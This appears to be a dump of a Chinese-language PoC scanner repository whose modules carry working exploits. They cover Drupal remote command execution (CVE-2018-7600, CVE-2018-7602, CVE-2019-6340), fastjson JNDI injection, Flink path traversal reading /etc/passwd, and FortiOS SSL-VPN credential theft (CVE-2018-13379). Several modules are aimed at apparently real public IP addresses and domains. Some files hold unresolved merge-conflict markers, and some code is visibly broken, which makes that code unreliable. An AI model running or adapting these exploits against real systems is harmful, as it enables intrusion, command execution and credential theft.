12 | self.testisok=True
13 |
14 | self.vulpath=''
15 | self.payload=''
16 | self.verifypath=''
17 | self.flag=''
18 |
19 | '''
20 | c2Func函数解析
21 | c2Func函数接收目标target,进行处理
22 | 返回状态statue、数据returnData
23 | > 状态statue允许4个值(定义于lib/code/static.py):
24 | RETRY(重试)=-1
25 | FAIL(失败)=0
26 | SUCCESS(成功)=1
27 | MORETRY(成功,且有目标需要重试)=10
28 |
29 | > 数据returnData允许3种类型: 'str' [str-list] (str|str-list,str|str-list)
30 | > str一般为字符串对象,也允许是可以通过str()转换为string类型的对象(类定义了__str__方法)
31 | > str-list则为上诉对象的列表
32 |
33 | demo场景1:
34 | 检测目标A是否存在漏洞vul
35 | 存在漏洞: status=1,returnData='%s has vul'%A
36 | 不存在漏洞: status=0,returnData=''
37 |
38 | demo场景2:
39 | 爆破目标端口
40 | 无法访问,返回: status=0,returnData=''
41 | 发现一个端口: status=1,returnData='80'
42 | 发现多个端口: status=1,returnData=['80','8080','9001']
43 |
44 | demo场景3:
45 | 检测域名a.com(1级域名)的2、3级域名
46 | target为1级域名,程序生成大量需要爆破的2级域名,并返回: status=-1,returnData=[a.a.com,b.a.com,c.a.com,%col%.a.com ...]
47 | target为2级域名,程序检测发现不存在该域名,返回: status=0,returnData=''
48 | target为2级域名,程序检测发现存在该域名,并继续生成大量需要爆破的3级域名,返回: status=10,returnData=('www.a.com',[a.www.a.com,b.www.a.com,c.www.a.com,%col%.www.a.com ...])
49 | target为3级域名,程序检测发现不存在该域名: status=0,returnData=''
50 | target为3级域名,程序检测发现存在该域名: status=1,returnData='image.www.a.com'
51 |
52 |
53 | 注意:由于当前程序的运行路径和本模块文件不一致,
54 | 所以如果需要读取外部文件a.txt,应该使用如下方法:
55 | 1、直接使用a.txt的绝对路径进行读取
56 | 2、将a.txt放置在本文件目录下,获取本文件的目录`os.path.dirname(os.path.abspath(__file__))`并os.path.join拼接a.txt,进行读取
57 | 3、将a.txt放置在data/目录下,可通过data/a.txt 进行读取
58 | '''
59 | def c2Func(self,target):
60 | status = 0
61 | returnData = ''
62 | return status,returnData
63 |
64 | if __name__ == '__main__':
65 | target='hello'
66 | pocObj=c2Class()
67 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/demo2.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | requests.packages.urllib3.disable_warnings()
4 |
5 | class c2Class(object):
6 | def __init__(self):
7 | self.vulname = '漏洞名称'
8 | self.vulsystem= '涉及系统'
9 | self.vulsystemintro = '系统介绍'
10 | self.vulversion = '危害版本'
11 | self.fofa='搜索引擎语句'
12 | self.findtime='发现时间'
13 | self.cveid='cve号'
14 | self.refer= '参考'
15 | self.bbb='个人记录'
16 | self.testisok=True # 是否测试成功
17 |
18 | self.vulpath='' # 危害链接
19 | self.headers={} # 请求头
20 | self.payload='' # 危害数据
21 | self.flag = 200 # 利用成功标识
22 |
23 |
24 | def c2Func(self,target):
25 | status=0
26 | returnData=''
27 |
28 | # 1、处理目标格式
29 | if target.startswith(('http://','https://')):
30 | target=target+'/'
31 | target=target[:target.find('/',8)] #
32 | else:
33 | target='https://'+target
34 | try:
35 | # 2、准备攻击所需的数据
36 | url=target.strip('/')+self.vulpath
37 | # 3、开始攻击
38 | resp=requests.post(url=url,data=self.payload,headers=self.headers,verify=False,timeout=30)
39 | # 4、检测是否存在成功标识
40 | if self.flag == resp.status_code:
41 | status=1
42 | returnData='%s is vuln(%s) , vulpath: %s'\
43 | ''%(target.strip('/'),self.vulname,url)
44 | except Exception as e:
45 | returnData=str(e)
46 | # 5、返回状态与数据
47 | return status,returnData
48 |
49 | if __name__ == '__main__':
50 | target='http://127.0.0.1/'
51 | pocObj=c2Class()
52 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/drupal/CVE-2018-7600.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import json
4 | '''
5 | git clone https://github.com/vulhub/vulhub.git
6 | cd vulhub/drupal/CVE-2018-7600/
7 | docker-compose build
8 | docker-compose up -d
9 | docker-compose ps
10 |
11 | 访问ip:8080
12 | 一路安装,选择sqlite数据库
13 |
14 | docker-compose down
15 | '''
16 | class c2Class(object):
17 | def __init__(self):
18 | self.vulname = 'CVE-2018-7600'
19 | self.vulsystem= 'Drupal'
20 | self.vulversion = '6.x;7.x < 7.58;8.3 < 8.3.9;8.4 < 8.4.6;8.5 < 8.5.1'
21 | self.refer= 'https://github.com/zhzyker/exphub/blob/master/drupal/cve-2018-7600_cmd.py'
22 | self.testisok=True
23 |
24 | self.headers={'Content-Type': 'application/x-www-form-urlencoded'}
25 | self.vulpath='/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
26 | self.verifypath='/_temp.txt'
27 | self.cmd= 'whoami | tee %s'%self.verifypath
28 | self.payload={'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': '%s'%self.cmd}
29 | self.flag=200
30 | def c2Func(self,target):
31 | status=0
32 | returnData=''
33 | try:
34 | url=target.strip('/')+self.vulpath
35 | # print(url)
36 | resp=requests.post(url=url,data=self.payload,verify=True,timeout=2)
37 | # print(url)
38 | # print(self.payload)
39 | if self.flag == resp.status_code:
40 | url2=target+self.verifypath
41 | cmdresult=resp.json()[0]['data'].split(">>>>>> 0236c8ba63ed25c7b585a481d1d6e6081bd6132e
48 | status=1
49 | except Exception as e:
50 | returnData=str(e)
51 | return status,returnData
52 |
53 |
54 | if __name__ == '__main__':
55 | target='http://192.168.128.132:8080'
56 | pocObj=c2Class()
57 | print(pocObj.c2Func(target))
58 |
--------------------------------------------------------------------------------
/pocmodules/drupal/CVE-2018-7602.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | from bs4 import BeautifulSoup
4 | '''
5 | git clone https://github.com/vulhub/vulhub.git
6 | cd vulhub/drupal/CVE-2018-7602/
7 | docker-compose build
8 | docker-compose up -d
9 | docker-compose ps
10 |
11 | 访问ip:8080
12 | 一路安装,选择sqlite数据库,设置用户名drupal,密码drupal
13 |
14 | docker-compose down
15 | '''
16 |
17 | class c2Class(object):
18 | def __init__(self):
19 | self.vulname = 'CVE-2018-7602'
20 | self.vulsystem= 'Drupal'
21 | self.vulversion = '7.x <= 7.58'
22 | self.refer= 'https://github.com/zhzyker/exphub/blob/master/drupal/cve-2018-7602_cmd.py'
23 | self.testisok=True
24 |
25 | self.username='drupal'
26 | self.password='drupal'
27 | self.function='passthru'
28 | self.cmd='id'
29 |
30 | def c2Func(self,target):
31 | status=0
32 | returnData=''
33 | url=target.strip('/')
34 | try:
35 | session,user_id=self.getUserId(url)
36 | form_token=self.getFromToken(session,url,user_id)
37 | cmd_result=self.attack(session,url,user_id,form_token)
38 | <<<<<<< HEAD
39 | returnData='%s is bad.The vuln is cve-2018-7602.'\
40 | 'The cmd [%s] execute result is [%s]'%(url,self.cmd,cmd_result.strip())
41 | =======
42 | returnData='%s is bad.The vuln is cve-2018-7602.The cmd [%s] execute result is [%s]'%(url,self.cmd,cmd_result.strip())
43 | >>>>>>> 0236c8ba63ed25c7b585a481d1d6e6081bd6132e
44 | status=1
45 | except Exception as e:
46 | returnData=e
47 | # print(e)
48 | return status,returnData
49 |
50 | def getUserId(self,target):
51 | try:
52 | session = requests.Session()
53 | get_data = {'q':'user/login'}
54 | post_data = {'form_id':'user_login', 'name': self.username, 'pass' : self.password, 'op':'Log in'}
55 | session.post(target, params=get_data, data=post_data, verify=False)
56 |
57 | get_data = {'q':'user'}
58 | r = session.get(target, params=get_data, verify=False)
59 | soup = BeautifulSoup(r.text, "html.parser")
60 | user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
61 |
62 | if ("?q=" in user_id):
63 | user_id = user_id.split("=")[1]
64 | return session,user_id
65 | except Exception as e:
66 | raise Exception('getUserId error')
67 | def getFromToken(self,session,target,user_id):
68 | get_data = {'q': user_id + '/cancel'}
69 | r = session.get(target, params=get_data, verify=False)
70 | soup = BeautifulSoup(r.text, "html.parser")
71 | form = soup.find('form', {'id': 'user-cancel-confirm-form'})
72 | form_token = form.find('input', {'name': 'form_token'}).get('value')
73 | if form_token:
74 | return form_token
75 | else:
76 | raise Exception('getFromToken error')
77 |
78 | def attack(self,session,target,user_id,form_token):
79 | get_data = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + self.function + '&q[%23type]=markup&q[%23markup]=' + self.cmd }
80 | post_data = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
81 | r = session.post(target, params=get_data, data=post_data, verify=False)
82 | soup = BeautifulSoup(r.text, "html.parser")
83 | form = soup.find('form', {'id': 'user-cancel-confirm-form'})
84 | form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
85 | if form_build_id:
86 | # print('[*] Poisoned form ID: ' + form_build_id)
87 | # print('[*] Triggering exploit to execute: ' + command)
88 | get_data = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
89 | post_data = {'form_build_id':form_build_id}
90 | r = session.post(target, params=get_data, data=post_data, verify=False)
91 | parsed_result = r.text.split('[{"command":"settings"')[0]
92 | if parsed_result:
93 | return parsed_result
94 | else:
95 | raise Exception('attack error')
96 | if __name__ == '__main__':
97 | target='http://192.168.128.133:8081/'
98 | pocObj=c2Class()
99 | print(pocObj.c2Func(target))
100 |
--------------------------------------------------------------------------------
/pocmodules/drupal/CVE-2019-6340.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | '''
4 | docker search cve-2019-6340
5 | docker pull knqyf263/cve-2019-6340
6 | docker run -d --name cve-2019-6340-drupal -p 8080:80 knqyf263/cve-2019-6340
7 | // docker start cve-2019-6340-drupal
8 | docker ps -l
9 | docker stop cve-2019-6340-drupal
10 | // docker rm cve-2019-6340-drupal
11 |
12 | '''
13 |
14 | class c2Class(object):
15 | def __init__(self):
16 | self.vulname = 'CVE-2019-6340'
17 | self.vulsystem= 'Drupal'
18 | self.vulversion = '< 8.6.10;< 8.5.12'
19 | self.refer= 'https://github.com/zhzyker/exphub/blob/master/drupal/cve-2019-6340_cmd.py'
20 | self.testisok=True
21 |
22 | self.headers = {
23 | 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
24 | 'Connection': "close",
25 | 'Content-Type': "application/hal+json",
26 | 'Accept': "*/*",
27 | 'Cache-Control': "no-cache"}
28 | self.vulpath = '/node/?_format=hal_json'
29 | self.cmd= 'whoami'
30 | self.cmdlen=len(self.cmd)
31 | self.payload = "{\r\n \"link\": [\r\n {\r\n \"value\": \"link\",\r\n \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n }\r\n ],\r\n \"_links\": {\r\n \"type\": {\r\n \"href\": \"%s/rest/type/shortcut/default\"\r\n }\r\n }\r\n}"
32 |
33 | self.flag1=403
34 | self.flag2='u0027access'
35 |
36 | def c2Func(self,target):
37 | status=0
38 | returnData=''
39 | target=target.strip('/')
40 | try:
41 | url=target+self.vulpath
42 | payload=self.payload%(self.cmdlen,self.cmd,target)
43 | r=requests.request("POST", url=url, data=payload, headers=self.headers)
44 | if r.status_code==self.flag1 and self.flag2 in r.text:
45 | cmdresult=r.text.split("}")[1].strip()
46 | <<<<<<< HEAD
47 | returnData='%s is bad.The vuln is %s.The payload is %s.'\
48 | 'The cmd [%s] execute result is [%s]'%(target,self.vulname,url,self.cmd,cmdresult)
49 | =======
50 | returnData='%s is bad.The vuln is %s.The payload is %s.The cmd [%s] execute result is [%s]'%(target,self.vulname,url,self.cmd,cmdresult)
51 | >>>>>>> 0236c8ba63ed25c7b585a481d1d6e6081bd6132e
52 | status=1
53 | except Exception as e:
54 | returnData=str(e)
55 | # print(e)
56 | return status,returnData
57 | if __name__ == '__main__':
58 | target='http://192.168.128.133:8080'
59 | pocObj=c2Class()
60 | print(pocObj.c2Func(target))
61 |
--------------------------------------------------------------------------------
/pocmodules/fastjson/1247.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import urllib
4 | import re
5 | requests.packages.urllib3.disable_warnings()
6 |
7 | class c2Class(object):
8 | def __init__(self):
9 | self.vulname = 'fastjson 1.2.47 RCE'
10 | self.vulsystem= 'fastjson'
11 | self.vulsystemintro = 'Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。'
12 | self.vulversion = '<1.2.48'
13 | self.fofa=''
14 | self.findtime='2019-08'
15 | self.cveid=''
16 | self.refer= 'https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/\nhttps://www.cnblogs.com/zhengjim/p/11433926.html'
17 | self.testisok=True
18 |
19 | if __file__[-3:]=='pyc':
20 | self._file=__file__[:-1]
21 | else:
22 | self._file=__file__
23 |
24 | self.dnslog='x488lb.dnslog.cn'
25 | print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file))
26 |
27 | self.headers = {
28 | 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
29 | 'Connection': "close",
30 | 'Content-Type': "application/json"}
31 | self.payload='{"a":"'
32 | self.flag='com.alibaba.fastjson.JSONException: unclosed string'
33 |
34 | self.rc_host=re.compile('(?<=://).+?(?=[:/])')
35 | self.payload2='{"name":{"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}, "f":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://%s/", "autoCommit":true}}, age:11}'
36 | self.flag2='set property error'
37 |
38 |
39 |
40 | def c2Func(self,target):
41 | status=0
42 | returnData=''
43 | if target.startswith(('http://','https://')):
44 | pass
45 | else:
46 | target='http://'+target
47 | try:
48 | url=target.strip('/')+'/'
49 | resp=requests.post(url=url,data=self.payload,headers=self.headers,verify=False,timeout=5)
50 | # print(url)
51 | # print(resp.text)
52 | if self.flag in resp.text:
53 | host=self.rc_host.search(url).group()
54 | dnslog='%s.%s'%(host,self.dnslog)
55 | payload=self.payload2%dnslog
56 | resp=requests.post(url=url,data=payload,headers=self.headers,verify=False,timeout=5)
57 | if self.flag2 in resp.text:
58 | returnData='%s is vuln(%s), u can check dnslog: %s'%(url,self.vulname,dnslog) #
59 | status=1
60 | else:
61 | returnData='%s use %s.u can try to attack it.'%(url,self.vulname) #
62 | status=1
63 | except Exception as e:
64 | returnData=str(e)
65 | return status,returnData
66 |
67 | if __name__ == '__main__':
68 | target='http://183.62.254.186:8889/'
69 | pocObj=c2Class()
70 | print(pocObj.c2Func(target))
71 |
--------------------------------------------------------------------------------
/pocmodules/flink/CVE-2020-17519.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import urllib
4 | requests.packages.urllib3.disable_warnings()
5 |
6 | class c2Class(object):
7 | def __init__(self):
8 | self.vulname = 'Apache Flink jobmanager/logs Path Traversal '
9 | self.vulsystem= 'Apache Flink'
10 | self.vulsystemintro = 'Apache Flink是由Apache软件基金会开发的开源流处理框架,'\
11 | '其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,'\
12 | 'Flink的流水线运行时系统可以执行批处理和流处理程序。'
13 | self.vulversion = '1.11.0、1.11.1、1.11.2'
14 | self.fofa='app="APACHE-Flink"'
15 | self.findtime='2021-01'
16 | self.cveid='CVE-2020-17519'
17 | self.refer= 'https://blog.csdn.net/xuandao_ahfengren/article/details/112260367\nhttps://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519'
18 | self.testisok=True
19 |
20 | self.vulpath='/jobmanager/logs/'
21 | self.readfile='../'*12+'/etc/passwd'
22 | self.payload=urllib.urlencode({'':urllib.urlencode({'':self.readfile})[1:]})[1:] # ..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F%252Fetc%252Fpasswd
23 | self.flag='root:x'
24 |
25 | # https://github.com/LandGrey/flink-unauth-rce/
26 | # self.vulpath2='/jars/upload'
27 | # params = {"jarfile": ('cmd.jar',open('cmd.jar'),'application/octet-stream')
28 | # self.flag1=400
29 |
30 | def c2Func(self,target):
31 | status=0
32 | returnData=''
33 | if target.startswith(('http://','https://')):
34 | if '#' in target:
35 | target=target[:target.index('#')]
36 | else:
37 | target='http://'+target
38 | try:
39 | url=target.strip('/')+self.vulpath+self.payload
40 | resp=requests.get(url=url,verify=False,timeout=5)
41 | # print(url)
42 | # print(resp.text)
43 | if self.flag in resp.text:
44 | returnData='%s is bad.The vuln is %s.The payload is [%s], '\
45 | 'the result is [%s].'%(target.strip('/'),self.vulname,url,resp.text.strip()) #
46 | status=1
47 | except Exception as e:
48 | returnData=str(e)
49 | return status,returnData
50 |
51 | if __name__ == '__main__':
52 | target='http://192.168.128.129:8089/#/overview'
53 | pocObj=c2Class()
54 | print(pocObj.c2Func(target))
55 |
--------------------------------------------------------------------------------
/pocmodules/fortios/CVE-2018-13379.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests,re
3 | requests.packages.urllib3.disable_warnings()
4 |
5 | class c2Class(object):
6 | def __init__(self):
7 | self.vulname = 'Fortinet FortiOS路径遍历漏洞'
8 | self.vulsystem= 'FortiOS'
9 | self.vulversion = '5.6.3-5.6.7、6.0.0-6.0.4'
10 | self.cve = 'CVE-2018-13379'
11 | self.findtime='2019-05'
12 | self.refer= 'https://blog.csdn.net/limb0/article/details/102890683'
13 | self.testisok=True
14 |
15 | self.vulpath='/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
16 | self.check_rc=re.compile('[^ ]+')
17 | self.flag=200
18 | self.flag2='fgt_lang'
19 | self.flag3=10
20 | self.check_rc2=re.compile(r'(?:[0-2]?[0-9]?[0-9]+\.){3}(?:[0-2]?[0-9]?[0-9])')
21 |
22 | self.recovered1=403
23 | self.recovered2=404
24 |
25 | def c2Func(self,target):
26 | status=0
27 | returnData=''
28 | if target.startswith(('https://')):
29 | pass
30 | else:
31 | target='https://'+target
32 | try:
33 | url=target.strip('/')+self.vulpath
34 | resp=requests.get(url=url,verify=False,timeout=2)
35 | _tmprespdata=self.check_rc.findall(resp.content.replace('\x00',' '))
36 | # print(_tmprespdata)
37 | # print(resp.status_code)
38 | if self.flag == resp.status_code and self.flag2 in _tmprespdata and self.flag30:
43 | userpwd[_tmprespdata[i+1]]=_tmprespdata[i+2]
44 | returnData='%s is bad.The vuln is CVE-2018-13379.The payloa is [%s], '\
45 | 'the ssl user:pass is [%s].'%(target.strip('/'),url,userpwd) #
46 | status=1
47 | except Exception as e:
48 | returnData=str(e)
49 | return status,returnData
50 |
51 | if __name__ == '__main__':
52 | target='https://180.150.129.244/'
53 | pocObj=c2Class()
54 | print(pocObj.c2Func(target))
55 |
--------------------------------------------------------------------------------
/pocmodules/get-title.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import re
4 |
5 | requests.packages.urllib3.disable_warnings()
6 |
7 |
8 |
9 | class c2Class(object):
10 | def __init__(self):
11 | self.headers={
12 | 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0',
13 | 'Connection':'close'}
14 | self.rc_title=re.compile(r'(?<=|)[\s\S]+?(?=|)')
15 | # 抓取标题的正则表达式列表
16 | self.rc_retry=[
17 | re.compile(r'(?<=)'),
18 | re.compile(r'(?<=[window|document]\.location\.href=")[\s\S]+?(?=")'),
19 | re.compile(r'(?<=window.open\(")[\s\S]+?(?=")'),
20 | re.compile(r'(?<=这样格式的数据
31 | target=target+'/'
32 | target=target[:target.find('/',8)] # len('https://') = 8
33 | else:
34 | target='http://'+target
35 | try:
36 | url=target.strip('/')+self.vulpath
37 | resp=requests.get(url=url,verify=False,timeout=2)
38 | # print(url)
39 | # if self.flag == resp.status_code:
40 | # print(resp.text)
41 | if self.flag == resp.status_code and resp.text.__contains__(self.flag1):
42 | returnData='%s is bad.The vuln is %s.The /'\
43 | 'payloa is [%s], the result is [%s].'%(target.strip('/'),self.vulname,url,resp.text.strip().replace('\n',' ')) #
44 | status=1
45 | except Exception as e:
46 | # print(e)
47 | returnData=str(e)
48 | return status,returnData
49 |
50 | if __name__ == '__main__':
51 | target='192.168.3.12'
52 | pocObj=c2Class()
53 | print(pocObj.c2Func(target))
54 |
--------------------------------------------------------------------------------
/pocmodules/leak/git.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | requests.packages.urllib3.disable_warnings()
4 |
5 |
6 |
7 | class c2Class(object):
8 | def __init__(self):
9 | self.vulname = 'Git Leak'
10 | self.vulsystem= 'git'
11 | self.vulsystemintro = 'Git 是一个开源的分布式版本控制系统'
12 | self.vuldesc='git会在代码目录下生成.git文件夹,其中会包含代码的备份,如果未限制对.git目录的访问,则攻击者可以读取该目录,下载代码备份。'
13 | self.vulversion = ''
14 | self.fofa=''
15 | self.findtime=''
16 | self.refer= ''
17 | self.pyv=2
18 | self.testisok=True
19 |
20 | self.vulpath='/.git/HEAD'
21 | self.flag=200
22 |
23 | def c2Func(self,target):
24 | status=0
25 | returnData=''
26 |
27 | flag=0
28 | try:
29 | if target.startswith(('http://','https://')):
30 | # 这是为了拿到 这样格式的数据
31 | target=target+'/'
32 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/
33 | else:
34 | target='http://'+target
35 |
36 | url=target+self.vulpath
37 | resp=requests.get(url=url,verify=False,timeout=5)
38 |
39 | if self.flag == resp.status_code:
40 | returnData='%s is vlun(%s), vulpath:%s .u can attack by GitHack'\
41 | ''%(target,self.vulname,url)
42 | except Exception as e:
43 | # print(e)
44 | returnData=str(e)
45 | return status,returnData
46 |
47 | if __name__ == '__main__':
48 | target='http://45.60.7.55:16010/.git/HEAD'
49 | # target='http://101.226.168.75:8888'
50 | pocObj=c2Class()
51 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/leak/svn.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | requests.packages.urllib3.disable_warnings()
4 |
5 |
6 |
7 | class c2Class(object):
8 | def __init__(self):
9 | self.vulname = 'SVN Leak'
10 | self.vulsystem= 'svn'
11 | self.vulsystemintro = 'SVN 是一个开源的集中式版本控制系统'
12 | self.vuldesc='SVN会在代码目录下生成.svn文件夹,其中会包含代码的备份,如果未限制对.SVN目录的访问,则攻击者可以读取该目录,下载代码备份。'
13 | self.vulversion = ''
14 | self.fofa=''
15 | self.findtime=''
16 | self.refer= ''
17 | self.pyv=2
18 | self.testisok=True
19 |
20 | self.vulpath='/.svn/entries'
21 | self.flag=200
22 |
23 | def c2Func(self,target):
24 | status=0
25 | returnData=''
26 |
27 | flag=0
28 | try:
29 | if target.startswith(('http://','https://')):
30 | # 这是为了拿到 这样格式的数据
31 | target=target+'/'
32 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/
33 | else:
34 | target='http://'+target
35 |
36 | url=target+self.vulpath
37 | resp=requests.get(url=url,verify=False,timeout=5)
38 | # print(resp.status_code)
39 | if self.flag == resp.status_code:
40 | returnData='%s is vlun(%s), vulpath: %s .u can attack by svnExploit'\
41 | ''%(target,self.vulname,url)
42 | except Exception as e:
43 | # print(e)
44 | returnData=str(e)
45 | return status,returnData
46 |
47 | if __name__ == '__main__':
48 | target='http://trafficbonus.com/.svn/entries'
49 | # target='http://101.226.168.75:8888'
50 | pocObj=c2Class()
51 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/ljjsdb.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import random
3 | import dns.resolver
4 |
5 | class domainClass(object):
6 | def __init__(self,priority,domain):
7 | self.priority = priority
8 | self.domain = domain
9 |
10 | def __lt__(self,other):
11 | return self.priority < other.priority
12 |
13 | def __str__(self):
14 | return self.domain
15 |
16 |
17 | class c2Class(object):
18 | def __init__(self):
19 | self.name=' lijiejie/subDomainsBrute'
20 | self.description='A fast sub domain brute tool for pentesters'
21 | self.refer='https://github.com/lijiejie/subDomainsBrute'
22 |
23 | self.rootdomain = None
24 | self.nextsubs = set()
25 | self.next_sub_file='data\\next_sub.txt' # 通配符{next_sub}对应的子域集合
26 | self.subs_file='data\\subnames.txt' # 爆破使用的子域集合
27 |
28 | with open(self.next_sub_file) as f:
29 | for i in f:
30 | i = i.strip()
31 | self.nextsubs.add(i)
32 | self.regex_list = {
33 | '{next_sub}':self.nextsubs,
34 | '{alphnum}':'abcdefghijklmnopqrstuvwxyz0123456789',
35 | '{alpha}':'abcdefghijklmnopqrstuvwxyz',
36 | '{num}':'0123456789'}
37 | self.subs = set()
38 | with open(self.subs_file) as f:
39 | for i in f:
40 | i = i.strip()
41 | self.subs.add(i)
42 | self.depth = 5 # 检测深度,默认向下检测5级域名
43 | self.startlevel = 0
44 | self.timeout_comain = {}
45 | self.dns_servers = []
46 | # dns解析器集生成
47 | from gevent.pool import Pool
48 | pool = Pool(6)
49 | for s in ['119.29.29.29','182.254.116.116','114.114.115.115','114.114.114.114','223.5.5.5','223.6.6.6']:
50 | pool.apply_async(self.test_server, (s, self.dns_servers))
51 | pool.join()
52 | self.resolvers = [dns.resolver.Resolver(configure=False) for _ in range(100)]
53 | for r in self.resolvers:
54 | r.lifetime = 4
55 | r.timeout = 10.0
56 | i1 = random.choice(range(len(self.dns_servers)))
57 | i2 = (i1+1)%len(self.dns_servers)
58 | r.nameservers = [self.dns_servers[i1],self.dns_servers[i2]]
59 | self.find_subdomains=set()
60 |
61 |
62 | def c2Func(self,target):
63 | # 选择dns解析器
64 | resolver = random.choice(self.resolvers)
65 | cdomain = str(target)
66 | # 设置根域
67 | if self.rootdomain == None:
68 | self.rootdomain = cdomain
69 | self.startlevel = cdomain.count('.')
70 | # 如果当前域名级别比查询最高级还高,直接退出、
71 | if cdomain.count('.') > self.startlevel+self.depth:
72 | return 0,''
73 | # 根域需要子域赋值
74 | if self.rootdomain == cdomain:
75 | keepcheck = self.sdbGenerate(cdomain)
76 | return -1,keepcheck
77 | # 替换占位符
78 | for r in self.regex_list:
79 | if r in cdomain:
80 | keepcheck=[]
81 | for i in self.regex_list[r]:
82 | keepcheck.append(domainClass(cdomain.count('.'),cdomain.replace(r,i,1)))
83 | return -1,keepcheck
84 | # 进行查询
85 | try:
86 | answers = resolver.query(cdomain)
87 | if answers:# 查询成功
88 | if cdomain in self.find_subdomains:
89 | raise Exception('Repeat domain') # 如果存在则报异常
90 | self.find_subdomains.add(cdomain)
91 | ips = ', '.join(sorted([answer.address for answer in answers]))
92 | info = cdomain + '->' + ips
93 | if cdomain.count('.') == self.startlevel+self.depth: #达到深度
94 | return 1,cdomain+'->'+ips # 直接返回
95 | keepbrute = []
96 | try: # 查询cname
97 | answers = resolver.query(cdomain,'cname')
98 | cname = answers[0].target.to_unicode().rstrip('.')
99 | if cname.endswith(self.rootdomain) and cname not in self.find_subdomains: # 根域之下且不是已发现的域名
100 | self.find_subdomains.add(cname)
101 | info = info+'|'+cname
102 | keepbrute.append(domainClass(cname.count('.'),cname))
103 | except Exception as e:
104 | pass
105 | # 下一个深度的子域赋值
106 | keepbrute.extend(self.sdbGenerate(cdomain))
107 | return 10,(info,keepbrute)
108 | except dns.resolver.NoNameservers as e: # ns不可访问
109 | return -1,domainClass(cdomain.count('.'),cdomain)
110 | except dns.exception.Timeout as e:# 查询延时
111 | self.timeout_comain[cdomain] = self.timeout_comain.get(cdomain, 0) + 1
112 | if self.timeout_comain[cdomain] <=1:
113 | return -1,domainClass(cdomain.count('.'),cdomain)
114 | except (dns.resolver.NoAnswer,dns.resolver.NXDOMAIN) as e: # 查询不到域名
115 | pass
116 | except dns.name.EmptyLabel as e:
117 | pass
118 | except Exception as e:
119 | # print(e)
120 | pass
121 | return 0,''
122 |
123 | # 可信dns服务器检测
124 | def test_server(self,server,dns_servers):
125 | resolver = dns.resolver.Resolver(configure=False)
126 | resolver.lifetime = resolver.timeout = 5.0
127 | resolver.nameservers = [server]
128 | try:
129 | answers = resolver.query('public-dns-a.baidu.com')
130 | if answers[0].address != '180.76.76.76':
131 | raise Exception('Incorrect DNS response')
132 | try:
133 | resolver.query('false.domain.123.123.baidu.com')
134 | except Exception as e:
135 | dns_servers.append(server)
136 | except Exception as e:
137 | pass
138 | # 子域集生成
139 | def sdbGenerate(self,rdomain):
140 | keepbrute=[]
141 | for s in self.subs:
142 | keepbrute.append(domainClass(rdomain.count('.')+1,s+'.'+rdomain))
143 | return keepbrute
144 |
145 |
146 | # if __name__ == '__main__':
147 | # target="test.com"
